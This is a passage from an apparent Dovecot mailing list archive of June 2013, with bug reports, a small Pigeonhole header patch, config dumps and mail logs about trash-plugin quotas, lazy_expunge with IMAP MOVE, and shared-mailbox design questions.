/libdovecot-storage.so.0(mailbox_transaction_commit+0x15) [0x7f9da21b0145] -> dovecot/indexer-worker(+0x287c) [0x7f9da265f87c] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x 36) [0x7f9da1f02f76] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0xa7) [0x7f9da1f03c37] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x28) [0x7f9da1f02988] -> /usr/li b/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7f9da1eef3c3] -> dovecot/indexer-worker(main+0xfe) [0x7f9da265f10e] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf5) [0x7f9da1b13ea5] -> dovecot/indexer-worker(+0x21b5) [0x7f9da265f1b5] neil@athina:~$ dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.8.0-23-generic x86_64 Ubuntu 13.04 auth_verbose = yes disable_plaintext_auth = no log_path = /var/log/dovecot.log mail_debug = yes mail_plugins = fts fts_squat mail_privileged_group = mail namespace { list = yes location = mbox:~imapshared prefix = shared/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes location = mbox:~/mail:INBOX=/var/mail/%u mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = pam } plugin { fts = squat fts_squat = partial=4 full=10 sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = " imap" ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { driver = passwd } verbose_ssl = yes protocol imap { imap_client_workarounds = tb-extra-mailbox-sep tb-lsub-flags } -- Willem-Jan de Hoog

2 2

[Dovecot] Problem redirecting email using pigeonhole 0.4.0 (with patch)
by Andriy Syrovenko 18 Jun '13

18 Jun '13

Hello, Starting from the version 0.4.0 Pigeonhole adds "X-Sieve" and "X-Sieve-Redirected-From" headers ending them with CR+LF, and then copies the original message (including original headers) ending the lines with LF-only. This causes troubles at least if using Exim (I have not checked with other MTAs)- original message gets dropped, and only the new pigeonhole-generated headers are sent out. The attached file fixed the problem for me. --- dovecot-2.2-pigeonhole-0.4.0.orig/src/lib-sieve/cmd-redirect.c 2013-04-07 01:57:26.000000000 +0300 +++ dovecot-2.2-pigeonhole-0.4.0/src/lib-sieve/cmd-redirect.c 2013-06-05 03:22:53.000000000 +0300 @@ -344,9 +344,9 @@ string_t *hdr = t_str_new(256); /* Prepend sieve headers (should not affect signatures) */ - rfc2822_header_write(hdr, "X-Sieve", SIEVE_IMPLEMENTATION); + rfc2822_header_append(hdr, "X-Sieve", SIEVE_IMPLEMENTATION, FALSE, NULL); if ( recipient != NULL ) - rfc2822_header_write(hdr, "X-Sieve-Redirected-From", recipient); + rfc2822_header_append(hdr, "X-Sieve-Redirected-From", recipient, FALSE, NULL); o_stream_send(output, str_data(hdr), str_len(hdr)); } T_END; Best regards, Andrey.

2 1

[Dovecot] Dovecot 2.2.2: doveadm user doesn't honor -x option
by Axel Luttgens 17 Jun '13

17 Jun '13

Hello, 1. Considering a user_query similar to this one: SELECT ... FROM ... WHERE CASE '%s' WHEN 'lmtp' THEN ... and issuing following command: doveadm user -x service=lmtp someuser(a)example.com the log shows: SELECT ... FROM ... WHERE CASE 'doveadm' WHEN 'lmtp' THEN ... and the query of course fails. The same config with Dovecot 2.1.16 yields expected results. 2. This is more a question. Issuing above command first writes this to the log: prefetch(someuser(a)example.com): passdb didn't return userdb entries, trying the next userdb Is there really an attempt to make use of the prefetch database? If yes, under which circumstances could it succeed? TIA, Axel

2 2

[Dovecot] dovecot 2.2 with lucene compile error
by Robert Schetterer 17 Jun '13

17 Jun '13

Hi ,i get an compile error security -Werror=format-security -MT lucene-wrapper.lo -MD -MP -MF .deps/lucene-wrapper.Tpo -c lucene-wrapper.cc -fPIC -DPIC -o .libs/lucene-wrapper.o lucene-wrapper.cc: In function 'lucene_index* lucene_index_init(const char*, mailbox_list*, const fts_lucene_settings*)': lucene-wrapper.cc:128:2: error: 'else' without a previous 'if' make[5]: *** [lucene-wrapper.lo] Error 1 Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstraße 15, 81669 München Sitz der Gesellschaft: München, Amtsgericht München: HRB 199263 Vorstand: Patrick Ben Koetter, Axel von der Ohe, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein

2 2

[Dovecot] IMAP MOVE and lazy_expunge_only_last_instance
by Pavel Volkovitskiy 17 Jun '13

17 Jun '13

Hello! im testing lazy_expunge_only_last_instance here and it seems it works wrong with IMAP MOVE IN: 14 uid move 13 "INBOX" OUT: * OK [COPYUID 1188569061 13 34] Moved UIDs. * 5 EXPUNGE 14 OK Move completed. dovecot.log: 2013-06-14 10:56:06 imap(test13(a)mtx.ru): Info: copy from Test: box=INBOX, uid=34, msgid=<1294858169.32435.3.camel(a)int.office.matrix>, size=996, from=Pavel Volkovitskiy <int(a)mtx.ru>, subject=test, flags=(\Seen) 2013-06-14 10:56:06 imap(test13(a)mtx.ru): Info: copy from Test: box=.EXPUNGED/Test, uid=9, msgid=<1294858169.32435.3.camel(a)int.office.matrix>, size=996, from=Pavel Volkovitskiy <int(a)mtx.ru>, subject=test, flags=(\Seen) 2013-06-14 10:56:06 imap(test13(a)mtx.ru): Info: expunge: box=Test, uid=13, msgid=<1294858169.32435.3.camel(a)int.office.matrix>, size=996, from=Pavel Volkovitskiy <int(a)mtx.ru>, subject=test, flags=(\Seen) i'm using dovecot 2:2.2.2-0~auto+64 (cfd442fcc672) PS: it works well if i copy and delete mails -- Pavel

2 4

[Dovecot] Trash plugin
by Jason Pfingstmann 17 Jun '13

17 Jun '13

Hello all! I tried to post this earlier today, but it's stuck in a moderator queue for being too long, so here's a shorter version (mod, please delete the pending message from me, if you read this). I'm new to dovecot and just finished setting everything up. It's a postfix + dovecot + myql + spamassassin + postgrey virtual mail server. The issue I'm having (1 of 2) is that the Trash plugin isn't working, over-quota mail is being rejected despite a large piece that would bring it under quota with room to spare for the piece being delivered that is in the Trash folder. My configs (postconf -n, doveconf -n, trash.conf): http://pastebin.com/vFJ0rfZ6 It may be unrelated, but it seems postgrey isn't running either, but maybe those are partially tied together? Thanks for all your help! Jason Pfingstmann

1 0

[Dovecot] Trash plugin
by Jason Pfingstmann 17 Jun '13

17 Jun '13

Hello! This is my first dovecot install, which I put together by mixing and matching pieces of various online howtos (fortunately, Dovecot doesn't seem to be overly complex - a big plus). I've got it mostly working, but the trash plugin doesn't seem to be working right. Below are configs and some logs. Any thoughts? Also, any suggestions regarding my configuration? I can post other items for troubleshooting if they'd be helpful. -Jason Pfingstmann Here's my doveconf -n: # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) ext4 auth_anonymous_username = anonymous auth_cache_negative_ttl = 1 hours auth_cache_size = 0 auth_cache_ttl = 1 hours auth_debug = no auth_debug_passwords = no auth_default_realm = auth_failure_delay = 2 secs auth_first_valid_uid = 500 auth_gssapi_hostname = auth_krb5_keytab = auth_last_valid_uid = 0 auth_master_user_separator = auth_mechanisms = plain login auth_realms = auth_socket_path = auth-userdb auth_ssl_require_client_cert = no auth_ssl_username_from_cert = no auth_use_winbind = no auth_username_chars = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@ auth_username_format = auth_username_translation = auth_verbose = no auth_verbose_passwords = no auth_winbind_helper_path = /usr/bin/ntlm_auth auth_worker_max_count = 30 base_dir = /var/run/dovecot config_cache_size = 1 M debug_log_path = default_client_limit = 1000 default_idle_kill = 60 default_internal_user = dovecot default_login_user = dovenull default_process_limit = 100 default_vsz_limit = 256 M deliver_log_format = msgid=%m: %$ dict { quotadict = mysql:/etc/dovecot/dovecot-dict-quota.conf } dict_db_config = director_doveadm_port = 0 director_mail_servers = director_servers = director_user_expire = 15 mins disable_plaintext_auth = yes dotlock_use_excl = no doveadm_socket_path = doveadm-server doveadm_worker_count = 0 first_valid_gid = 12 first_valid_uid = 101 hostname = imap_capability = imap_client_workarounds = imap_id_log = imap_id_send = imap_idle_notify_interval = 2 mins imap_logout_format = bytes=%i/%o imap_max_line_length = 64 k info_log_path = last_valid_gid = 0 last_valid_uid = 0 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes lda_original_recipient_header = libexec_dir = /usr/libexec/dovecot listen = *, :: lmtp_proxy = no lmtp_save_to_detail_mailbox = yes lock_method = fcntl log_path = syslog log_timestamp = "%b %d %H:%M:%S " login_access_sockets = login_greeting = Dovecot ready. login_log_format = %$: %s login_log_format_elements = user=<%u> method=%m rip=%r lip=%l mpid=%e %c login_trusted_networks = mail_access_groups = mail_attachment_dir = mail_attachment_fs = sis posix mail_attachment_hash = %{sha1} mail_attachment_min_size = 128 k mail_cache_fields = flags mail_cache_min_mail_count = 0 mail_chroot = mail_debug = no mail_fsync = optimized mail_full_filesystem_access = no mail_gid = mail_home = mail_location = maildir:/home/vmail/%d/%n mail_log_prefix = "%s(%u): " mail_max_keyword_length = 50 mail_max_lock_timeout = 0 mail_max_userip_connections = 10 mail_never_cache_fields = imap.envelope mail_nfs_index = no mail_nfs_storage = no mail_plugin_dir = /usr/lib64/dovecot mail_plugins = trash mail_privileged_group = mail_save_crlf = no mail_temp_dir = /tmp mail_uid = mailbox_idle_check_interval = 30 secs mailbox_list_index_disable = no maildir_copy_with_hardlinks = yes maildir_stat_dirs = no maildir_very_dirty_syncs = no managesieve_client_workarounds = managesieve_implementation_string = Dovecot Pigeonhole managesieve_logout_format = bytes=%i/%o managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date master_user_separator = mbox_dirty_syncs = yes mbox_dotlock_change_timeout = 2 mins mbox_lazy_writes = yes mbox_lock_timeout = 5 mins mbox_min_index_size = 0 mbox_read_locks = fcntl mbox_very_dirty_syncs = no mbox_write_locks = dotlock fcntl mdbox_preallocate_space = no mdbox_rotate_interval = 0 mdbox_rotate_size = 2 M mmap_disable = no passdb { args = /etc/dovecot/dovecot-mysql.conf deny = no driver = sql master = no pass = no } plugin { acl = vfile:/etc/dovecot/acls quota = dict:user::proxy::quotadict sieve = ~/dovecot.sieve sieve_dir = ~/sieve sieve_global_dir = /home/sieve/ sieve_global_path = /home/sieve/globalfilter.sieve sieve_max_script_size = 1M trash = /etc/dovecot/trash.conf } pop3_client_workarounds = pop3_enable_last = no pop3_fast_size_lookups = no pop3_lock_session = no pop3_logout_format = top=%t/%p, retr=%r/%b, del=%d/%m, size=%s pop3_no_flag_updates = no pop3_reuse_xuidl = no pop3_save_uidl = no pop3_uidl_format = %08Xu%08Xv postmaster_address = protocols = imap pop3 lmtp sieve quota_full_tempfail = no recipient_delimiter = + rejection_reason = Your message to <%t> was automatically rejected:%n%r rejection_subject = Rejected: %s sendmail_path = /usr/sbin/sendmail service anvil { chroot = empty client_limit = 0 drop_priv_before_exec = no executable = anvil extra_groups = group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 1 protocol = service_count = 0 type = anvil unix_listener anvil-auth-penalty { group = mode = 0600 user = } unix_listener anvil { group = mode = 0600 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service auth-worker { chroot = client_limit = 1 drop_priv_before_exec = no executable = auth -w extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 1 type = unix_listener auth-worker { group = mode = 0600 user = $default_internal_user } user = vsz_limit = 18446744073709551615 B } service auth { chroot = client_limit = 4096 drop_priv_before_exec = no executable = auth extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-client { group = mode = 0600 user = } unix_listener auth-login { group = mode = 0600 user = $default_internal_user } unix_listener auth-master { group = mode = 0600 user = } unix_listener auth-userdb { group = vmail mode = 0666 user = vmail } unix_listener login/login { group = mode = 0666 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service config { chroot = client_limit = 0 drop_priv_before_exec = no executable = config extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = config unix_listener config { group = mode = 0600 user = } user = vsz_limit = 18446744073709551615 B } service dict { chroot = client_limit = 1 drop_priv_before_exec = no executable = dict extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = unix_listener dict { group = vmail mode = 0666 user = vmail } user = $default_internal_user vsz_limit = 18446744073709551615 B } service director { chroot = client_limit = 0 drop_priv_before_exec = no executable = director extra_groups = fifo_listener login/proxy-notify { group = mode = 00 user = } group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener director-admin { group = mode = 0600 user = } unix_listener login/director { group = mode = 00 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service dns_client { chroot = client_limit = 1 drop_priv_before_exec = no executable = dns-client extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = unix_listener dns-client { group = mode = 0666 user = } unix_listener login/dns-client { group = mode = 0666 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service doveadm { chroot = client_limit = 1 drop_priv_before_exec = no executable = doveadm-server extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 1 type = unix_listener doveadm-server { group = mode = 0600 user = } user = vsz_limit = 18446744073709551615 B } service imap-login { chroot = login client_limit = 0 drop_priv_before_exec = no executable = imap-login extra_groups = group = idle_kill = 0 inet_listener imap { address = port = 143 ssl = no } inet_listener imaps { address = port = 993 ssl = yes } privileged_group = process_limit = 0 process_min_avail = 0 protocol = imap service_count = 1 type = login user = $default_login_user vsz_limit = 64 M } service imap { chroot = client_limit = 1 drop_priv_before_exec = no executable = imap extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1024 process_min_avail = 0 protocol = imap service_count = 1 type = unix_listener login/imap { group = mode = 0666 user = } user = vsz_limit = 256 M } service lmtp { chroot = client_limit = 0 drop_priv_before_exec = no executable = lmtp extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 type = unix_listener lmtp { group = mode = 0666 user = } user = vsz_limit = 0 } service log { chroot = client_limit = 0 drop_priv_before_exec = no executable = log extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = log user = vsz_limit = 18446744073709551615 B } service managesieve-login { chroot = login client_limit = 0 drop_priv_before_exec = no executable = managesieve-login extra_groups = group = idle_kill = 0 inet_listener sieve { address = port = 4190 ssl = no } privileged_group = process_limit = 0 process_min_avail = 0 protocol = sieve service_count = 1 type = login user = $default_login_user vsz_limit = 64 M } service managesieve { chroot = client_limit = 1 drop_priv_before_exec = no executable = managesieve extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = sieve service_count = 1 type = unix_listener login/sieve { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } service pop3-login { chroot = login client_limit = 0 drop_priv_before_exec = no executable = pop3-login extra_groups = group = idle_kill = 0 inet_listener pop3 { address = port = 110 ssl = no } inet_listener pop3s { address = port = 995 ssl = yes } privileged_group = process_limit = 0 process_min_avail = 0 protocol = pop3 service_count = 1 type = login user = $default_login_user vsz_limit = 64 M } service pop3 { chroot = client_limit = 1 drop_priv_before_exec = no executable = pop3 extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1024 process_min_avail = 0 protocol = pop3 service_count = 1 type = unix_listener login/pop3 { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } service ssl-params { chroot = client_limit = 0 drop_priv_before_exec = no executable = ssl-params extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = startup unix_listener login/ssl-params { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } shutdown_clients = yes ssl = yes ssl_ca = ssl_cert = </etc/postfix/smtpd.crt ssl_cert_username_field = commonName ssl_cipher_list = ALL:!LOW:!SSLv2:!EXP:!aNULL ssl_key = </etc/postfix/smtpd.key ssl_key_password = ssl_parameters_file = ssl-parameters.dat ssl_parameters_regenerate = 168 ssl_verify_client_cert = no syslog_facility = mail userdb { args = driver = prefetch } userdb { args = /etc/dovecot/dovecot-mysql.conf driver = sql } valid_chroot_dirs = verbose_auth = no verbose_proctitle = no verbose_ssl = no version_ignore = no protocol lda { mail_plugins = trash quota sieve postmaster_address = postmaster(a)otakuuniversity.org } protocol imap { imap_client_workarounds = delay-newmail mail_plugins = trash quota imap_quota } protocol lmtp { mail_plugins = trash sieve } protocol pop3 { mail_plugins = trash quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } protocol sieve { managesieve_implementation_string = Dovecot Pigeonhole managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 } [root@nerv-03 dovecot]# dovecot -n # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS release 6.4 (Final) ext4 auth_mechanisms = plain login dict { quotadict = mysql:/etc/dovecot/dovecot-dict-quota.conf } first_valid_gid = 12 first_valid_uid = 101 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes lmtp_save_to_detail_mailbox = yes mail_location = maildir:/home/vmail/%d/%n mail_plugins = trash managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date passdb { args = /etc/dovecot/dovecot-mysql.conf driver = sql } plugin { acl = vfile:/etc/dovecot/acls quota = dict:user::proxy::quotadict sieve = ~/dovecot.sieve sieve_dir = ~/sieve sieve_global_dir = /home/sieve/ sieve_global_path = /home/sieve/globalfilter.sieve sieve_max_script_size = 1M trash = /etc/dovecot/trash.conf } protocols = imap pop3 lmtp sieve service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0666 user = vmail } } service dict { unix_listener dict { group = vmail mode = 0666 user = vmail } } service imap-login { inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { vsz_limit = 256 M } service managesieve-login { inet_listener sieve { port = 4190 } process_min_avail = 0 service_count = 1 vsz_limit = 64 M } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } ssl_cert = </etc/postfix/smtpd.crt ssl_key = </etc/postfix/smtpd.key userdb { driver = prefetch } userdb { args = /etc/dovecot/dovecot-mysql.conf driver = sql } protocol lda { mail_plugins = trash quota sieve postmaster_address = postmaster(a)otakuuniversity.org } protocol imap { imap_client_workarounds = delay-newmail mail_plugins = trash quota imap_quota } protocol lmtp { mail_plugins = trash sieve } protocol pop3 { mail_plugins = trash quota pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } protocol sieve { managesieve_implementation_string = Dovecot Pigeonhole managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 } postconf -n: alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases broken_sasl_auth_clients = yes command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix delay_warning_time = 4 disable_vrfy_command = yes html_directory = no inet_interfaces = all mail_owner = postfix mailbox_size_limit = 0 mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man message_size_limit = 409600000 mydestination = $myhostname, localhost.$mydomain, localhost mydomain = otakuuniversity.org myhostname = nerv-03.otakuuniversity.org mynetworks = $config_directory/mynetworks newaliases_path = /usr/bin/newaliases.postfix queue_directory = /var/spool/postfix recipient_delimiter = + relay_domains = proxy:mysql:/etc/postfix/mysql-relay_domains_maps.cf sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtp_tls_session_cache_database = btree:$data_directory/smtp_tls_session_cache smtp_use_tls = yes smtpd_client_restrictions = smtpd_data_restrictions = reject_unauth_pipelining smtpd_helo_required = yes smtpd_helo_restrictions = smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, reject_non_fqdn_sender, reject_non_fqdn_recipient, reject_unknown_recipient_domain, check_policy_service unix:/var/spool/postfix/postgrey/socket smtpd_sasl_auth_enable = yes smtpd_sasl_local_domain = $myhostname smtpd_sasl_path = private/auth smtpd_sasl_security_options = noanonymous smtpd_sasl_type = dovecot smtpd_sender_restrictions = smtpd_tls_CAfile = /etc/postfix/cacert.pem smtpd_tls_cert_file = /etc/postfix/smtpd.crt smtpd_tls_key_file = /etc/postfix/smtpd.key smtpd_tls_loglevel = 1 smtpd_tls_received_header = yes smtpd_tls_security_level = may smtpd_tls_session_cache_timeout = 3600s smtpd_use_tls = yes tls_random_source = dev:/dev/urandom transport_maps = hash:/etc/postfix/transport unknown_local_recipient_reject_code = 550 virtual_alias_maps = proxy:mysql:/etc/postfix/mysql-virtual_alias_maps.cf, regexp:/etc/postfix/virtual_regexp virtual_gid_maps = static:12 virtual_mailbox_base = /home/vmail virtual_mailbox_domains = proxy:mysql:/etc/postfix/ mysql-virtual_domains_maps.cf virtual_mailbox_maps = proxy:mysql:/etc/postfix/ mysql-virtual_mailbox_maps.cf virtual_minimum_uid = 101 virtual_transport = dovecot virtual_uid_maps = static:101 maillog entry for the inbound test: Jun 17 00:48:07 nerv-03 postfix/smtpd[20800]: connect from mail-oa0-f51.google.com[209.85.219.51] Jun 17 00:48:08 nerv-03 postfix/smtpd[20800]: setting up TLS connection from mail-oa0-f51.google.com[209.85.219.51] Jun 17 00:48:08 nerv-03 postfix/smtpd[20800]: Anonymous TLS connection established from mail-oa0-f51.google.com[209.85.219.51]: TLSv1 with cipher RC4-SHA (128/128 bits) Jun 17 00:48:09 nerv-03 postgrey[7116]: action=pass, reason=client whitelist, client_name=mail-oa0-f51.google.com, client_address=209.85.219.51, sender=jason.pfingstmann(a)gmail.com, recipient= test(a)otakuuniversity.org Jun 17 00:48:09 nerv-03 postfix/smtpd[20800]: 1D9CA26265C: client= mail-oa0-f51.google.com[209.85.219.51] Jun 17 00:48:09 nerv-03 postfix/cleanup[20808]: 1D9CA26265C: message-id=<CANGr1k1wms7WC= dmQNFwbKdh7AF69PBYrz5VFqLrbvBjYgXtpw(a)mail.gmail.com> Jun 17 00:48:13 nerv-03 postfix/qmgr[5885]: 1D9CA26265C: from=< jason.pfingstmann(a)gmail.com>, size=8185581, nrcpt=1 (queue active) Jun 17 00:48:13 nerv-03 postfix/smtpd[20800]: disconnect from mail-oa0-f51.google.com[209.85.219.51] Jun 17 00:48:13 nerv-03 dovecot: auth: mysql: Connected to localhost (mail) Jun 17 00:48:13 nerv-03 dovecot: imap-login: Login: user=< test(a)otakuuniversity.org>, method=PLAIN, rip=::1, lip=::1, mpid=20834, secured Jun 17 00:48:13 nerv-03 dovecot: imap(test(a)otakuuniversity.org): Disconnected: Logged out bytes=90/779 Jun 17 00:48:15 nerv-03 postfix/smtpd[20839]: connect from unknown[127.0.0.1] Jun 17 00:48:15 nerv-03 postfix/smtpd[20839]: 6CDC726265D: client=unknown[127.0.0.1] Jun 17 00:48:15 nerv-03 postfix/cleanup[20808]: 6CDC726265D: message-id=<CANGr1k1wms7WC= dmQNFwbKdh7AF69PBYrz5VFqLrbvBjYgXtpw(a)mail.gmail.com> Jun 17 00:48:15 nerv-03 postfix/smtpd[20839]: disconnect from unknown[127.0.0.1] Jun 17 00:48:15 nerv-03 postfix/qmgr[5885]: 6CDC726265D: from=< jason.pfingstmann(a)gmail.com>, size=8186433, nrcpt=1 (queue active) Jun 17 00:48:15 nerv-03 amavis[29202]: (29202-06) Passed CLEAN {RelayedInbound}, [209.85.219.51]:47269 [209.85.219.51] < jason.pfingstmann(a)gmail.com> -> <test(a)otakuuniversity.org>, Message-ID: <CANGr1k1wms7WC=dmQNFwbKdh7AF69PBYrz5VFqLrbvBjYgXtpw(a)mail.gmail.com>, mail_id: WX-Kn6BdkJ7l, Hits: 0.002, size: 8185580, queued_as: 6CDC726265D, dkim_sd=20120113:gmail.com, 1967 ms Jun 17 00:48:15 nerv-03 postfix/smtp[20819]: 1D9CA26265C: to=< test(a)otakuuniversity.org>, relay=127.0.0.1[127.0.0.1]:10024, delay=6.7, delays=4.7/0.01/0/2, dsn=2.0.0, status=sent (250 2.0.0 from MTA(smtp:[127.0.0.1]:10025): 250 2.0.0 Ok: queued as 6CDC726265D) Jun 17 00:48:15 nerv-03 postfix/qmgr[5885]: 1D9CA26265C: removed Jun 17 00:48:15 nerv-03 dovecot: dict: mysql: Connected to localhost (mail) Jun 17 00:48:15 nerv-03 dovecot: lda(test(a)otakuuniversity.org): Error: sieve: msgid=<CANGr1k1wms7WC= dmQNFwbKdh7AF69PBYrz5VFqLrbvBjYgXtpw(a)mail.gmail.com>: failed to store into mailbox 'INBOX': Quota exceeded (mailbox for user is full) Jun 17 00:48:15 nerv-03 dovecot: lda(test(a)otakuuniversity.org): Error: sieve: script /home/vmail/otakuuniversity.org/test/dovecot.sieve failed with unsuccessful implicit keep (user logfile /home/vmail/ otakuuniversity.org/test/dovecot.sieve.log may reveal additional details) Jun 17 00:48:15 nerv-03 dovecot: lda(test(a)otakuuniversity.org): msgid=<CANGr1k1wms7WC=dmQNFwbKdh7AF69PBYrz5VFqLrbvBjYgXtpw(a)mail.gmail.com>: rejected: Quota exceeded (mailbox for user is full) Jun 17 00:48:15 nerv-03 postfix/pickup[5887]: B3A1126265C: uid=5000 from=<> Jun 17 00:48:15 nerv-03 postfix/cleanup[20808]: B3A1126265C: message-id=< dovecot-1371422895-666694-0(a)nerv-03.otakuuniversity.org> Jun 17 00:48:15 nerv-03 postfix/pipe[20841]: 6CDC726265D: to=< test(a)otakuuniversity.org>, relay=dovecot, delay=0.29, delays=0.2/0.01/0/0.09, dsn=2.0.0, status=sent (delivered via dovecot service) Jun 17 00:48:15 nerv-03 postfix/qmgr[5885]: 6CDC726265D: removed Jun 17 00:48:15 nerv-03 postfix/qmgr[5885]: B3A1126265C: from=<>, size=4409, nrcpt=1 (queue active) Jun 17 00:48:15 nerv-03 postfix/smtp[20847]: certificate verification failed for gmail-smtp-in.l.google.com[173.194.70.27]:25: untrusted issuer /C=US/O=Equifax/OU=Equifax Secure Certificate Authority Jun 17 00:48:16 nerv-03 postfix/smtp[20847]: B3A1126265C: to=< jason.pfingstmann(a)gmail.com>, relay=gmail-smtp-in.l.google.com[173.194.70.27]:25, delay=0.87, delays=0.01/0.01/0.13/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK 1371423370 p43si7910797eeu.4 - gsmtp) Jun 17 00:48:16 nerv-03 postfix/qmgr[5885]: B3A1126265C: removed trash.conf: 1 Spam 2 Trash Also tried INBOX.<folder>

1 0

[Dovecot] Transparent IMAP proxy
by Yonatan Broza 16 Jun '13

16 Jun '13

Hi, I'm considering patching Dovecot to work as a transparent (and virus scanning) IMAP proxy. What is the appropriate feature to extend? (I've considered the following: IMAPC and reverse proxying, with IMAPC looking more promising since it actually parses IMAP communication). Can anyone who is familiar with the IMAPC code recommend what are the most appropriate locations in the code to make the required changes? (I've considered hooking the storage virtual functions and making the settings local rather than global - but would appreciate more specific ideas). Thanks.

6 5

[Dovecot] Multiple user sharing a single mailbox
by Jonathon Price 16 Jun '13

16 Jun '13

I'm designing a system where some but not all groups of users want to share a single mailbox, i.e the user will not have there own inbox. I think this is possible by setting up a user database that returns the same mail location and possible the same home directory. This sharing would only occur in a single domain. Example User Database UserID | home | mail all(a)site1.example.com | /mail/home/site1.example.com/all | /mail/mailstorage/site1.example.com/all user1(a)site1.example.com | /mail/home/site1.example.com/user1| /mail/mailstorage/ site1.example.com/all user2(a)site1.example.com | /mail/home/site1.example.com/user2| /mail/mailstorage/ site1.example.com/all user1(a)site2.example.com | /mail/home/site2.example.com/user1| /mail/mailstorage/ site2.example.com/user1 user2(a)site2.example.com | /mail/home/site2.example.com/user2| /mail/mailstorage/ site2.example.com/user2 In this example all of site1.example.com users share a single mailbox, and site2.example.com users each have there own mailbox. Should the home directory also be shared, I read the comment that they should never be shared but wasn't sure if that still applied when the mailbox is the same path. For groups that are sharing a mailbox there would likely be a relatively low number of users concurrently logged in, say less than 10. For clustering we are currently limited to NFS mail storage. I was planning on using director setup so that the hashing/sharding is performed on the domain only, so all users for a domain will end up on a single node. At this stage clustering is mainly for high availability not performances. Lastly I'm concerned about possible issues with locking on the mailbox files and indexes. Will one of the mail formats reduces this risk, we can use any format as all mail will be written by Dovecot. Would giving each user there own index location help? and I assume this would mean that each user would see there own flags like read status? Does this setup sound ok, are there aspects that should change? thanks, Jon

3 4

[Dovecot] [Dovcot 2.2.2] Q: Prequisits for compiling and plugins
by Christoph Hintermüller 16 Jun '13

16 Jun '13

